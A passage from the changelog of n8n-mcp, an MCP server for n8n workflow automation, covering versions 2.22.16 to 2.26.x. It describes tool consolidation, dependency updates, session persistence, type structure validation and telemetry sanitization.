62 | - Created consolidated documentation for `validate_node` (covers modes: full, minimal; profiles: minimal, runtime, ai-friendly, strict)
63 | - Created consolidated documentation for `n8n_executions` (covers actions: get, list, delete)
64 | - Updated `search_templates` documentation with all searchModes (keyword, by_nodes, by_task, by_metadata)
65 | - Updated `n8n_get_workflow` documentation with all modes (full, details, structure, minimal)
66 | - Fixed stale `relatedTools` references pointing to removed tools
67 | - Updated `tools-documentation.ts` overview to accurately reflect 19 consolidated tools
68 |
69 | ## [2.26.1] - 2025-11-25
70 |
71 | ### 🔄 Updated
72 |
73 | - Updated n8n from 1.120.3 to 1.121.2
74 | - Updated n8n-core from 1.119.2 to 1.120.1
75 | - Updated n8n-workflow from 1.117.0 to 1.118.1
76 | - Updated @n8n/n8n-nodes-langchain from 1.119.1 to 1.120.1
77 | - Rebuilt node database with 545 nodes (439 from n8n-nodes-base, 106 from @n8n/n8n-nodes-langchain)
78 | - Expanded template database from ~2,598 to 2,768 templates (+170 new templates)
79 | - Updated README badge with new n8n version
80 |
81 | ## [2.26.0] - 2025-01-25
82 |
83 | ### ✨ Features
84 |
85 | **Tool Consolidation - Reduced Tool Count by 38%**
86 |
87 | Major consolidation of MCP tools from 31 tools to 19 tools, using mode-based parameters for better AI agent ergonomics. This reduces cognitive load for AI agents while maintaining full functionality.
88 |
89 | #### Consolidated Tools
90 |
91 | **1. Node Tools - `get_node` Enhanced**
92 |
93 | The `get_node` tool now supports additional modes:
94 | - `mode='docs'`: Replaces `get_node_documentation` - returns readable docs with examples
95 | - `mode='search_properties'`: Replaces `search_node_properties` - search within node properties
96 |
97 | ```javascript
98 | // Old: get_node_documentation
99 | get_node_documentation({nodeType: "nodes-base.slack"})
100 | // New: mode='docs'
101 | get_node({nodeType: "nodes-base.slack", mode: "docs"})
102 |
103 | // Old: search_node_properties
104 | search_node_properties({nodeType: "nodes-base.httpRequest", query: "auth"})
105 | // New: mode='search_properties'
106 | get_node({nodeType: "nodes-base.httpRequest", mode: "search_properties", propertyQuery: "auth"})
107 | ```
108 |
109 | **2. Validation Tools - `validate_node` Unified**
110 |
111 | Consolidated `validate_node_operation` and `validate_node_minimal` into single `validate_node`:
112 | - `mode='full'`: Full validation (replaces `validate_node_operation`)
113 | - `mode='minimal'`: Quick required fields check (replaces `validate_node_minimal`)
114 |
115 | ```javascript
116 | // Old: validate_node_operation
117 | validate_node_operation({nodeType: "nodes-base.slack", config: {...}})
118 | // New: mode='full' (default)
119 | validate_node({nodeType: "nodes-base.slack", config: {...}, mode: "full"})
120 |
121 | // Old: validate_node_minimal
122 | validate_node_minimal({nodeType: "nodes-base.slack", config: {}})
123 | // New: mode='minimal'
124 | validate_node({nodeType: "nodes-base.slack", config: {}, mode: "minimal"})
125 | ```
126 |
127 | **3. Template Tools - `search_templates` Enhanced**
128 |
129 | Consolidated `list_node_templates`, `search_templates_by_metadata`, and `get_templates_for_task`:
130 | - `searchMode='keyword'`: Search by keywords (default, was `search_templates`)
131 | - `searchMode='by_nodes'`: Search by node types (was `list_node_templates`)
132 | - `searchMode='by_metadata'`: Search by AI metadata (was `search_templates_by_metadata`)
133 | - `searchMode='by_task'`: Search by task type (was `get_templates_for_task`)
134 |
135 | ```javascript
136 | // Old: list_node_templates
137 | list_node_templates({nodeTypes: ["n8n-nodes-base.httpRequest"]})
138 | // New: searchMode='by_nodes'
139 | search_templates({searchMode: "by_nodes", nodeTypes: ["n8n-nodes-base.httpRequest"]})
140 |
141 | // Old: get_templates_for_task
142 | get_templates_for_task({task: "webhook_processing"})
143 | // New: searchMode='by_task'
144 | search_templates({searchMode: "by_task", task: "webhook_processing"})
145 | ```
146 |
147 | **4. Workflow Getters - `n8n_get_workflow` Enhanced**
148 |
149 | Consolidated `n8n_get_workflow_details`, `n8n_get_workflow_structure`, `n8n_get_workflow_minimal`:
150 | - `mode='full'`: Complete workflow data (default)
151 | - `mode='details'`: Workflow with metadata (was `n8n_get_workflow_details`)
152 | - `mode='structure'`: Nodes and connections only (was `n8n_get_workflow_structure`)
153 | - `mode='minimal'`: ID, name, active status (was `n8n_get_workflow_minimal`)
154 |
155 | ```javascript
156 | // Old: n8n_get_workflow_details
157 | n8n_get_workflow_details({id: "123"})
158 | // New: mode='details'
159 | n8n_get_workflow({id: "123", mode: "details"})
160 |
161 | // Old: n8n_get_workflow_minimal
162 | n8n_get_workflow_minimal({id: "123"})
163 | // New: mode='minimal'
164 | n8n_get_workflow({id: "123", mode: "minimal"})
165 | ```
166 |
167 | **5. Execution Tools - `n8n_executions` Unified**
168 |
169 | Consolidated `n8n_list_executions`, `n8n_get_execution`, `n8n_delete_execution`:
170 | - `action='list'`: List executions with filters
171 | - `action='get'`: Get single execution details
172 | - `action='delete'`: Delete an execution
173 |
174 | ```javascript
175 | // Old: n8n_list_executions
176 | n8n_list_executions({workflowId: "123", status: "success"})
177 | // New: action='list'
178 | n8n_executions({action: "list", workflowId: "123", status: "success"})
179 |
180 | // Old: n8n_get_execution
181 | n8n_get_execution({id: "456"})
182 | // New: action='get'
183 | n8n_executions({action: "get", id: "456"})
184 |
185 | // Old: n8n_delete_execution
186 | n8n_delete_execution({id: "456"})
187 | // New: action='delete'
188 | n8n_executions({action: "delete", id: "456"})
189 | ```
190 |
191 | ### 🗑️ Removed Tools
192 |
193 | The following tools have been removed (use consolidated equivalents):
194 | - `get_node_documentation` → `get_node` with `mode='docs'`
195 | - `search_node_properties` → `get_node` with `mode='search_properties'`
196 | - `get_property_dependencies` → Removed (use `validate_node` for dependency info)
197 | - `validate_node_operation` → `validate_node` with `mode='full'`
198 | - `validate_node_minimal` → `validate_node` with `mode='minimal'`
199 | - `list_node_templates` → `search_templates` with `searchMode='by_nodes'`
200 | - `search_templates_by_metadata` → `search_templates` with `searchMode='by_metadata'`
201 | - `get_templates_for_task` → `search_templates` with `searchMode='by_task'`
202 | - `n8n_get_workflow_details` → `n8n_get_workflow` with `mode='details'`
203 | - `n8n_get_workflow_structure` → `n8n_get_workflow` with `mode='structure'`
204 | - `n8n_get_workflow_minimal` → `n8n_get_workflow` with `mode='minimal'`
205 | - `n8n_list_executions` → `n8n_executions` with `action='list'`
206 | - `n8n_get_execution` → `n8n_executions` with `action='get'`
207 | - `n8n_delete_execution` → `n8n_executions` with `action='delete'`
208 |
209 | ### 📊 Impact
210 |
211 | **Tool Count**: 31 → 19 tools (38% reduction)
212 |
213 | **For AI Agents:**
214 | - Fewer tools to choose from reduces decision complexity
215 | - Mode-based parameters provide clear action disambiguation
216 | - Consistent patterns across tool categories
217 | - Backward-compatible parameter handling
218 |
219 | **For Users:**
220 | - Simpler tool discovery and documentation
221 | - Consistent API design patterns
222 | - Reduced token usage in tool descriptions
223 |
224 | ### 🔧 Technical Details
225 |
226 | **Files Modified:**
227 | - `src/mcp/tools.ts` - Consolidated tool definitions
228 | - `src/mcp/tools-n8n-manager.ts` - n8n manager tool consolidation
229 | - `src/mcp/server.ts` - Handler consolidation and mode routing
230 | - `tests/unit/mcp/parameter-validation.test.ts` - Updated for new tool names
231 | - `tests/integration/mcp-protocol/tool-invocation.test.ts` - Updated test cases
232 | - `tests/integration/mcp-protocol/error-handling.test.ts` - Updated error handling tests
233 |
234 | **Conceived by Romuald Członkowski - [AiAdvisors](https://www.aiadvisors.pl/en)**
235 |
236 | ## [2.24.1] - 2025-01-24
237 |
238 | ### ✨ Features
239 |
240 | **Session Persistence API**
241 |
242 | Added export/restore functionality for MCP sessions to enable zero-downtime deployments in container environments (Kubernetes, Docker Swarm, etc.).
243 |
244 | #### What's New
245 |
246 | **1. Export Session State**
247 | - `exportSessionState()` method in `SingleSessionHTTPServer` and `N8NMCPEngine`
248 | - Exports all active sessions with metadata and instance context
249 | - Automatically filters expired sessions
250 | - Returns serializable `SessionState[]` array
251 |
252 | **2. Restore Session State**
253 | - `restoreSessionState(sessions)` method for session recovery
254 | - Validates session structure using existing `validateInstanceContext()`
255 | - Handles null/invalid sessions gracefully with warnings
256 | - Enforces MAX_SESSIONS limit (100 concurrent sessions)
257 | - Skips expired sessions during restore
258 |
259 | **3. SessionState Type**
260 | - New type definition in `src/types/session-state.ts`
261 | - Fully documented with JSDoc comments
262 | - Includes metadata (timestamps) and context (credentials)
263 | - Exported from main package index
264 |
265 | **4. Dormant Session Behavior**
266 | - Restored sessions are "dormant" until first request
267 | - Transport and server objects recreated on-demand
268 | - Memory-efficient session recovery
269 |
270 | #### Security Considerations
271 |
272 | ⚠️ **IMPORTANT:** Exported session data contains plaintext n8n API keys. Downstream applications MUST encrypt session data before persisting to disk using AES-256-GCM or equivalent.
273 |
274 | #### Use Cases
275 | - Zero-downtime deployments in container orchestration
276 | - Session recovery after crashes or restarts
277 | - Multi-tenant platform session management
278 | - Rolling updates without user disruption
279 |
280 | #### Testing
281 | - 22 comprehensive unit tests (100% passing)
282 | - Tests cover export, restore, edge cases, and round-trip cycles
283 | - Validation of expired session filtering and error handling
284 |
285 | #### Implementation Details
286 | - Only exports sessions with valid `n8nApiUrl` and `n8nApiKey` in context
287 | - Respects `sessionTimeout` setting (default 30 minutes)
288 | - Session metadata and context persisted; transport/server recreated on-demand
289 | - Comprehensive error handling with detailed logging
290 |
291 | **Conceived by Romuald Członkowski - [AiAdvisors](https://www.aiadvisors.pl/en)**
292 |
293 | ## [2.24.0] - 2025-01-24
294 |
295 | ### ✨ Features
296 |
297 | **Unified Node Information Tool**
298 |
299 | Introduced `get_node` - a unified tool that consolidates and enhances node information retrieval with multiple detail levels, version history, and type structure metadata.
300 |
301 | #### What's New
302 |
303 | **1. Progressive Detail Levels**
304 | - `minimal`: Basic metadata only (~200 tokens) - nodeType, displayName, description, category, version summary
305 | - `standard`: Essential properties and operations - AI-friendly default (~1000-2000 tokens)
306 | - `full`: Complete node information including all properties (~3000-8000 tokens)
307 |
308 | **2. Version History & Management**
309 | - `versions` mode: List all versions with breaking changes summary
310 | - `compare` mode: Compare two versions with property-level changes
311 | - `breaking` mode: Show only breaking changes between versions
312 | - `migrations` mode: Show auto-migratable changes
313 | - Version summary always included in info mode responses
314 |
315 | **3. Type Structure Metadata**
316 | - `includeTypeInfo` parameter exposes type structures from v2.23.0 validation system
317 | - Includes: type category, JS type, validation rules, structure hints
318 | - Helps AI agents understand complex types (filter, resourceMapper, resourceLocator, etc.)
319 | - Adds ~80-120 tokens per property when enabled
320 | - Works with all detail levels
321 |
322 | **4. Real-World Examples**
323 | - `includeExamples` parameter includes configuration examples from templates
324 | - Shows popular workflow patterns
325 | - Includes metadata (views, complexity, use cases)
326 |
327 | #### Usage Examples
328 |
329 | ```javascript
330 | // Standard detail (recommended for AI agents)
331 | get_node({nodeType: "nodes-base.httpRequest"})
332 |
333 | // Standard with type info
334 | get_node({nodeType: "nodes-base.httpRequest", includeTypeInfo: true})
335 |
336 | // Minimal (quick metadata check)
337 | get_node({nodeType: "nodes-base.httpRequest", detail: "minimal"})
338 |
339 | // Full detail with examples
340 | get_node({nodeType: "nodes-base.httpRequest", detail: "full", includeExamples: true})
341 |
342 | // Version history
343 | get_node({nodeType: "nodes-base.httpRequest", mode: "versions"})
344 |
345 | // Compare versions
346 | get_node({
347 | nodeType: "nodes-base.httpRequest",
348 | mode: "compare",
349 | fromVersion: "3.0",
350 | toVersion: "4.1"
351 | })
352 | ```
353 |
354 | #### Benefits
355 |
356 | - ✅ **Single Unified API**: One tool for all node information needs
357 | - ✅ **Token Efficient**: AI-friendly defaults (standard mode recommended)
358 | - ✅ **Progressive Disclosure**: minimal → standard → full as needed
359 | - ✅ **Type Aware**: Exposes v2.23.0 type structures for better configuration
360 | - ✅ **Version Aware**: Built-in version history and comparison
361 | - ✅ **Flexible**: Can combine detail levels with type info and examples
362 | - ✅ **Discoverable**: Version summary always visible in info mode
363 |
364 | #### Token Costs
365 |
366 | - `minimal`: ~200 tokens
367 | - `standard`: ~1000-2000 tokens (default)
368 | - `full`: ~3000-8000 tokens
369 | - `includeTypeInfo`: +80-120 tokens per property
370 | - `includeExamples`: +200-400 tokens per example
371 | - Version modes: ~400-1200 tokens
372 |
373 | ### 🗑️ Breaking Changes
374 |
375 | **Removed Deprecated Tools**
376 |
377 | Immediately removed `get_node_info` and `get_node_essentials` in favor of the unified `get_node` tool:
378 | - `get_node_info` → Use `get_node` with `detail='full'`
379 | - `get_node_essentials` → Use `get_node` with `detail='standard'` (default)
380 |
381 | **Migration:**
382 | ```javascript
383 | // Old
384 | get_node_info({nodeType: "nodes-base.httpRequest"})
385 | // New
386 | get_node({nodeType: "nodes-base.httpRequest", detail: "full"})
387 |
388 | // Old
389 | get_node_essentials({nodeType: "nodes-base.httpRequest", includeExamples: true})
390 | // New
391 | get_node({nodeType: "nodes-base.httpRequest", includeExamples: true})
392 | // or
393 | get_node({nodeType: "nodes-base.httpRequest", detail: "standard", includeExamples: true})
394 | ```
395 |
396 | ### 📊 Impact
397 |
398 | **Tool Count**: 40 → 39 tools (-2 deprecated, +1 new unified)
399 |
400 | **For AI Agents:**
401 | - Better understanding of complex n8n types through type metadata
402 | - Version upgrade planning with breaking change detection
403 | - Token-efficient defaults reduce costs
404 | - Progressive disclosure of information as needed
405 |
406 | **For Users:**
407 | - Single tool to learn instead of two separate tools
408 | - Clear progression from minimal to full detail
409 | - Version history helps with node upgrades
410 | - Type-aware configuration assistance
411 |
412 | ### 🔧 Technical Details
413 |
414 | **Files Added:**
415 | - Enhanced type structure exposure in node information
416 |
417 | **Files Modified:**
418 | - `src/mcp/tools.ts` - Removed get_node_info and get_node_essentials, added get_node
419 | - `src/mcp/server.ts` - Added unified getNode() implementation with all modes
420 | - `package.json` - Version bump to 2.24.0
421 |
422 | **Implementation:**
423 | - ~250 lines of new code
424 | - 7 new private methods for mode handling
425 | - Version repository methods utilized (previously unused)
426 | - TypeStructureService integrated for type metadata
427 | - 100% backward compatible in behavior (just different API)
428 |
429 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
430 |
431 | ## [2.23.0] - 2025-11-21
432 |
433 | ### ✨ Features
434 |
435 | **Type Structure Validation System (Phases 1-4 Complete)**
436 |
437 | Implemented comprehensive automatic validation system for complex n8n node configuration structures, ensuring workflows are correct before deployment.
438 |
439 | #### Overview
440 |
441 | Type Structure Validation is an automatic, zero-configuration validation system that validates complex node configurations (filter, resourceMapper, assignmentCollection, resourceLocator) during node validation. The system operates transparently - no special flags or configuration required.
442 |
443 | #### Key Features
444 |
445 | **1. Automatic Structure Validation**
446 | - Validates 4 special n8n types: filter, resourceMapper, assignmentCollection, resourceLocator
447 | - Zero configuration required - works automatically in all validation tools
448 | - Integrated in `validate_node_operation` and `validate_node_minimal` tools
449 | - 100% backward compatible - no breaking changes
450 |
451 | **2. Comprehensive Type Coverage**
452 | - **filter** (FilterValue) - Complex filtering conditions with 40+ operations (equals, contains, regex, etc.)
453 | - **resourceMapper** (ResourceMapperValue) - Data mapping configuration for format transformation
454 | - **assignmentCollection** (AssignmentCollectionValue) - Variable assignments for setting multiple values
455 | - **resourceLocator** (INodeParameterResourceLocator) - Resource selection with multiple lookup modes (ID, name, URL)
456 |
457 | **3. Production-Ready Performance**
458 | - **100% pass rate** on 776 real-world validations (91 templates, 616 nodes)
459 | - **0.01ms average** validation time (500x faster than 50ms target)
460 | - **0% false positive rate**
461 | - Tested against top n8n.io workflow templates
462 |
463 | **4. Clear Error Messages**
464 | - Actionable error messages with property paths
465 | - Fix suggestions for common issues
466 | - Context-aware validation with node-specific logic
467 | - Educational feedback for AI agents
468 |
469 | #### Implementation Phases
470 |
471 | **Phase 1: Type Structure Definitions** ✅
472 | - 22 complete type structures defined in `src/constants/type-structures.ts` (741 lines)
473 | - Type definitions in `src/types/type-structures.ts` (301 lines)
474 | - Complete coverage of filter, resourceMapper, assignmentCollection, resourceLocator
475 | - TypeScript interfaces with validation schemas
476 |
477 | **Phase 2: Validation Integration** ✅
478 | - Integrated in `EnhancedConfigValidator` service (427 lines)
479 | - Automatic validation in all MCP tools (validate_node_operation, validate_node_minimal)
480 | - Four validation profiles: minimal, runtime, ai-friendly, strict
481 | - Node-specific validation logic for edge cases
482 |
483 | **Phase 3: Real-World Validation** ✅
484 | - 100% pass rate on 776 validations across 91 templates
485 | - 616 nodes tested from top n8n.io workflows
486 | - Type-specific results:
487 | - filter: 93/93 passed (100.00%)
488 | - resourceMapper: 69/69 passed (100.00%)
489 | - assignmentCollection: 213/213 passed (100.00%)
490 | - resourceLocator: 401/401 passed (100.00%)
491 | - Performance: 0.01ms average (500x better than target)
492 |
493 | **Phase 4: Documentation & Polish** ✅
494 | - Comprehensive technical documentation (`docs/TYPE_STRUCTURE_VALIDATION.md`)
495 | - Updated internal documentation (CLAUDE.md)
496 | - Progressive discovery maintained (minimal tool documentation changes)
497 | - Production readiness checklist completed
498 |
499 | #### Edge Cases Handled
500 |
501 | **1. Credential-Provided Fields**
502 | - Fields like Google Sheets `sheetId` that come from credentials at runtime
503 | - No false positives for credential-populated fields
504 |
505 | **2. Filter Operations**
506 | - Universal operations (exists, notExists, isNotEmpty) work across all data types
507 | - Type-specific operations validated (regex for strings, gt/lt for numbers)
508 |
509 | **3. Node-Specific Logic**
510 | - Custom validation for specific nodes (Google Sheets, Slack, etc.)
511 | - Context-aware error messages based on node operation
512 |
513 | #### Technical Details
514 |
515 | **Files Added:**
516 | - `src/types/type-structures.ts` (301 lines) - Type definitions
517 | - `src/constants/type-structures.ts` (741 lines) - 22 complete type structures
518 | - `src/services/type-structure-service.ts` (427 lines) - Validation service
519 | - `docs/TYPE_STRUCTURE_VALIDATION.md` (239 lines) - Technical documentation
520 |
521 | **Files Modified:**
522 | - `src/services/enhanced-config-validator.ts` - Integrated structure validation
523 | - `src/mcp/tools-documentation.ts` - Minimal progressive discovery notes
524 | - `CLAUDE.md` - Updated architecture and Phase 1-3 completion
525 |
526 | **Test Coverage:**
527 | - `tests/unit/types/type-structures.test.ts` (14 tests)
528 | - `tests/unit/constants/type-structures.test.ts` (39 tests)
529 | - `tests/unit/services/type-structure-service.test.ts` (64 tests)
530 | - `tests/unit/services/enhanced-config-validator-type-structures.test.ts` (comprehensive)
531 | - `tests/integration/validation/real-world-structure-validation.test.ts` (8 tests, 388ms)
532 | - `scripts/test-structure-validation.ts` - Standalone validation script
533 |
534 | #### Usage
535 |
536 | No changes required - structure validation works automatically:
537 |
538 | ```javascript
539 | // Validation works automatically with structure validation
540 | validate_node_operation("nodes-base.if", {
541 | conditions: {
542 | combinator: "and",
543 | conditions: [{
544 | leftValue: "={{ $json.status }}",
545 | rightValue: "active",
546 | operator: { type: "string", operation: "equals" }
547 | }]
548 | }
549 | })
550 |
551 | // Structure errors are caught and reported clearly
552 | // Invalid operation → Clear error with valid operations list
553 | // Missing required fields → Actionable fix suggestions
554 | ```
555 |
556 | #### Benefits
557 |
558 | **For Users:**
559 | - ✅ Prevents configuration errors before deployment
560 | - ✅ Clear, actionable error messages
561 | - ✅ Faster workflow development with immediate feedback
562 | - ✅ Confidence in workflow correctness
563 |
564 | **For AI Agents:**
565 | - ✅ Better understanding of complex n8n types
566 | - ✅ Self-correction based on clear error messages
567 | - ✅ Reduced validation errors and retry loops
568 | - ✅ Educational feedback for learning n8n patterns
569 |
570 | **Technical:**
571 | - ✅ Zero breaking changes (100% backward compatible)
572 | - ✅ Automatic integration (no configuration needed)
573 | - ✅ High performance (0.01ms average)
574 | - ✅ Production-ready (100% pass rate on real workflows)
575 |
576 | #### Documentation
577 |
578 | **User Documentation:**
579 | - `docs/TYPE_STRUCTURE_VALIDATION.md` - Complete technical reference
580 | - Includes: Overview, supported types, performance metrics, examples, developer guide
581 |
582 | **Internal Documentation:**
583 | - `CLAUDE.md` - Architecture updates and Phase 1-3 results
584 | - `src/mcp/tools-documentation.ts` - Progressive discovery notes
585 |
586 | **Implementation Details:**
587 | - `docs/local/v3/implementation-plan-final.md` - Complete technical specifications
588 | - All 4 phases documented with success criteria and results
589 |
590 | #### Version History
591 |
592 | - **v2.23.0** (2025-11-21): Type structure validation system completed (Phases 1-4)
593 | - Phase 1: 22 complete type structures defined
594 | - Phase 2: Validation integrated in all MCP tools
595 | - Phase 3: 100% pass rate on 776 real-world validations
596 | - Phase 4: Documentation and polish completed
597 | - Zero false positives, 0.01ms average validation time
598 |
599 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
600 |
601 | ## [2.22.21] - 2025-11-20
602 |
603 | ### 🐛 Bug Fixes
604 |
605 | **Fix Empty Settings Object Validation Error (#431)**
606 |
607 | Fixed critical bug where `n8n_update_partial_workflow` tool failed with "request/body must NOT have additional properties" error when workflows had no settings or only non-whitelisted settings properties.
608 |
609 | #### Root Cause
610 | - `cleanWorkflowForUpdate()` in `src/services/n8n-validation.ts` was sending empty `settings: {}` objects to the n8n API
611 | - n8n API rejects empty settings objects as "additional properties" violation
612 | - Issue occurred when:
613 | - Workflow had no settings property
614 | - Workflow had only non-whitelisted settings (e.g., only `callerPolicy`)
615 |
616 | #### Changes
617 | - **Primary Fix**: Modified `cleanWorkflowForUpdate()` to delete `settings` property when empty after filtering
618 | - Instead of sending `settings: {}`, the property is now omitted entirely
619 | - Added safeguards in lines 193-199 and 201-204
620 | - **Secondary Fix**: Enhanced `applyUpdateSettings()` in `workflow-diff-engine.ts` to prevent creating empty settings objects
621 | - Only creates/updates settings if operation provides actual properties
622 | - **Test Updates**: Fixed 3 incorrect tests that expected empty settings objects
623 | - Updated to expect settings property to be omitted instead
624 | - Added 2 new comprehensive tests for edge cases
625 |
626 | #### Testing
627 | - All 75 unit tests in `n8n-validation.test.ts` passing
628 | - New tests cover:
629 | - Workflows with no settings → omits property
630 | - Workflows with only non-whitelisted settings → omits property
631 | - Workflows with mixed settings → keeps only whitelisted properties
632 |
633 | **Related Issues**: #431, #248 (n8n API design limitation)
634 | **Related n8n Issue**: n8n-io/n8n#19587 (closed as NOT_PLANNED - MCP server issue)
635 |
636 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
637 |
638 | ## [2.22.20] - 2025-11-19
639 |
640 | ### 🔄 Dependencies
641 |
642 | **n8n Update to 1.120.3**
643 |
644 | Updated all n8n-related dependencies to their latest versions:
645 |
646 | - n8n: 1.119.1 → 1.120.3
647 | - n8n-core: 1.118.0 → 1.119.2
648 | - n8n-workflow: 1.116.0 → 1.117.0
649 | - @n8n/n8n-nodes-langchain: 1.118.0 → 1.119.1
650 | - Rebuilt node database with 544 nodes (439 from n8n-nodes-base, 105 from @n8n/n8n-nodes-langchain)
651 |
652 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
653 |
654 | ## [2.22.18] - 2025-11-14
655 |
656 | ### ✨ Features
657 |
658 | **Structural Hash Tracking for Workflow Mutations**
659 |
660 | Added structural hash tracking to enable cross-referencing between workflow mutations and workflow quality data:
661 |
662 | #### Structural Hash Generation
663 | - Added `workflowStructureHashBefore` and `workflowStructureHashAfter` fields to mutation records
664 | - Hashes based on node types + connections (structural elements only)
665 | - Compatible with `telemetry_workflows.workflow_hash` format for cross-referencing
666 | - Implementation: Uses `WorkflowSanitizer.generateWorkflowHash()` for consistency
667 | - Enables linking mutation impact to workflow quality scores and grades
668 |
669 | #### Success Tracking Enhancement
670 | - Added `isTrulySuccessful` computed field to mutation records
671 | - Definition: Mutation executed successfully AND improved/maintained validation AND has known intent
672 | - Enables filtering to high-quality mutation data
673 | - Provides automated success detection without manual review
674 |
675 | #### Testing & Verification
676 | - All 17 mutation-tracker unit tests passing
677 | - Verified with live mutations: structural changes detected (hash changes), config-only updates detected (hash stays same)
678 | - Success tracking working accurately (64% truly successful rate in testing)
679 |
680 | **Files Modified**:
681 | - `src/telemetry/mutation-tracker.ts`: Generate structural hashes during mutation processing
682 | - `src/telemetry/mutation-types.ts`: Add new fields to WorkflowMutationRecord interface
683 | - `src/telemetry/workflow-sanitizer.ts`: Expose generateWorkflowHash() method
684 | - `tests/unit/telemetry/mutation-tracker.test.ts`: Add 5 new test cases
685 |
686 | **Impact**:
687 | - Enables cross-referencing between mutation and workflow data
688 | - Provides labeled dataset with quality indicators
689 | - Maintains backward compatibility (new fields optional)
690 |
691 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
692 |
693 | ## [2.22.17] - 2025-11-13
694 |
695 | ### 🐛 Bug Fixes
696 |
697 | **Critical Telemetry Improvements**
698 |
699 | Fixed three critical issues in workflow mutation telemetry to improve data quality and security:
700 |
701 | #### 1. Fixed Inconsistent Sanitization (Security Critical)
702 | - **Problem**: 30% of workflows (178-188 records) were unsanitized, exposing potential credentials/tokens
703 | - **Solution**: Replaced weak inline sanitization with robust `WorkflowSanitizer.sanitizeWorkflowRaw()`
704 | - **Impact**: Now 100% sanitization coverage with 17 sensitive patterns detected and redacted
705 | - **Files Modified**:
706 | - `src/telemetry/workflow-sanitizer.ts`: Added `sanitizeWorkflowRaw()` method
707 | - `src/telemetry/mutation-tracker.ts`: Removed redundant sanitization code, use centralized sanitizer
708 |
709 | #### 2. Enabled Validation Data Capture (Data Quality Blocker)
710 | - **Problem**: Zero validation metrics captured (validation_before/after all NULL)
711 | - **Solution**: Added workflow validation before and after mutations using `WorkflowValidator`
712 | - **Impact**: Can now measure mutation quality, track error resolution patterns
713 | - **Implementation**:
714 | - Validates workflows before mutation (captures baseline errors)
715 | - Validates workflows after mutation (measures improvement)
716 | - Non-blocking: validation errors don't prevent mutations
717 | - Captures: errors, warnings, validation status
718 | - **Files Modified**:
719 | - `src/mcp/handlers-workflow-diff.ts`: Added pre/post mutation validation
720 |
721 | #### 3. Improved Intent Capture (Data Quality)
722 | - **Problem**: 92.62% of intents were generic "Partial workflow update"
723 | - **Solution**: Enhanced tool documentation + automatic intent inference from operations
724 | - **Impact**: Meaningful intents automatically generated when not explicitly provided
725 | - **Implementation**:
726 | - Enhanced documentation with specific intent examples and anti-patterns
727 | - Added `inferIntentFromOperations()` function that generates meaningful intents:
728 | - Single operations: "Add n8n-nodes-base.slack", "Connect webhook to HTTP Request"
729 | - Multiple operations: "Workflow update: add 2 nodes, modify connections"
730 | - Fallback inference when intent is missing, generic, or too short
731 | - **Files Modified**:
732 | - `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`: Enhanced guidance
733 | - `src/mcp/handlers-workflow-diff.ts`: Added intent inference logic
734 |
735 | ### 📊 Expected Results
736 |
737 | After deployment, telemetry data should show:
738 | - **100% sanitization coverage** (up from 70%)
739 | - **100% validation capture** (up from 0%)
740 | - **50%+ meaningful intents** (up from 7.33%)
741 | - **Complete telemetry dataset** for analysis
742 |
743 | ### 🎯 Technical Details
744 |
745 | **Sanitization Coverage**: Now detects and redacts:
746 | - Webhook URLs, API keys (OpenAI sk-*, GitHub ghp-*, etc.)
747 | - Bearer tokens, OAuth credentials, passwords
748 | - URLs with authentication, long tokens (20+ chars)
749 | - Sensitive field names (apiKey, token, secret, password, etc.)
750 |
751 | **Validation Metrics Captured**:
752 | - Workflow validity status (true/false)
753 | - Error/warning counts and details
754 | - Node configuration errors
755 | - Connection errors
756 | - Expression syntax errors
757 | - Validation improvement tracking (errors resolved/introduced)
758 |
759 | **Intent Inference Examples**:
760 | - `addNode` → "Add n8n-nodes-base.webhook"
761 | - `rewireConnection` → "Rewire IF from ErrorHandler to SuccessHandler"
762 | - Multiple operations → "Workflow update: add 2 nodes, modify connections, update metadata"
763 |
764 | ## [2.22.16] - 2025-11-13
765 |
766 | ### ✨ Enhanced Features
767 |
768 | **Workflow Mutation Telemetry for AI-Powered Workflow Assistance**
769 |
770 | Added comprehensive telemetry tracking for workflow mutations to enable more context-aware and intelligent responses when users modify their n8n workflows. The AI can better understand user intent and provide more relevant suggestions.
771 |
772 | #### Key Improvements
773 |
774 | 1. **Intent Parameter for Better Context**
775 | - Added `intent` parameter to `n8n_update_full_workflow` and `n8n_update_partial_workflow` tools
776 | - Captures user's goals and reasoning behind workflow changes
777 | - Example: "Add error handling for API failures" or "Migrate to new node versions"
778 | - Helps AI provide more relevant and context-aware responses
779 |
780 | 2. **Comprehensive Data Sanitization**
781 | - Multi-layer sanitization at workflow, node, and parameter levels
782 | - Removes credentials, API keys, tokens, and sensitive data
783 | - Redacts URLs with authentication, long tokens (32+ chars), OpenAI-style keys
784 | - Ensures telemetry data is safe while preserving structural patterns
785 |
786 | 3. **Improved Auto-Flush Performance**
787 | - Reduced mutation auto-flush threshold from 5 to 2 events
788 | - Provides faster feedback and reduces data loss risk
789 | - Balances database write efficiency with responsiveness
790 |
791 | 4. **Enhanced Mutation Tracking**
792 | - Tracks before/after workflow states with secure hashing
793 | - Captures intent classification, operation types, and change metrics
794 | - Records validation improvements (errors resolved/introduced)
795 | - Monitors success rates, errors, and operation duration
796 |
797 | #### Technical Changes
798 |
799 | **Modified Files:**
800 | - `src/telemetry/mutation-tracker.ts`: Added comprehensive sanitization methods
801 | - `src/telemetry/telemetry-manager.ts`: Reduced auto-flush threshold, improved error logging
802 | - `src/mcp/handlers-workflow-diff.ts`: Added telemetry tracking integration
803 | - `src/mcp/tool-docs/workflow_management/n8n-update-full-workflow.ts`: Added intent parameter documentation
804 | - `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`: Added intent parameter documentation
805 |
806 | **New Test Files:**
807 | - `tests/unit/telemetry/mutation-tracker.test.ts`: 13 comprehensive sanitization tests
808 | - `tests/unit/telemetry/mutation-validator.test.ts`: 22 validation tests
809 |
810 | **Test Coverage:**
811 | - Added 35 new unit tests for mutation tracking and validation
812 | - All 357 telemetry-related tests passing
813 | - Coverage includes sanitization, validation, intent classification, and auto-flush behavior
814 |
815 | #### Impact
816 |
817 | Users will experience more helpful and context-aware AI responses when working with workflows. The AI can better understand:
818 | - What changes the user is trying to make
819 | - Why certain operations succeed or fail
820 | - Common patterns and best practices
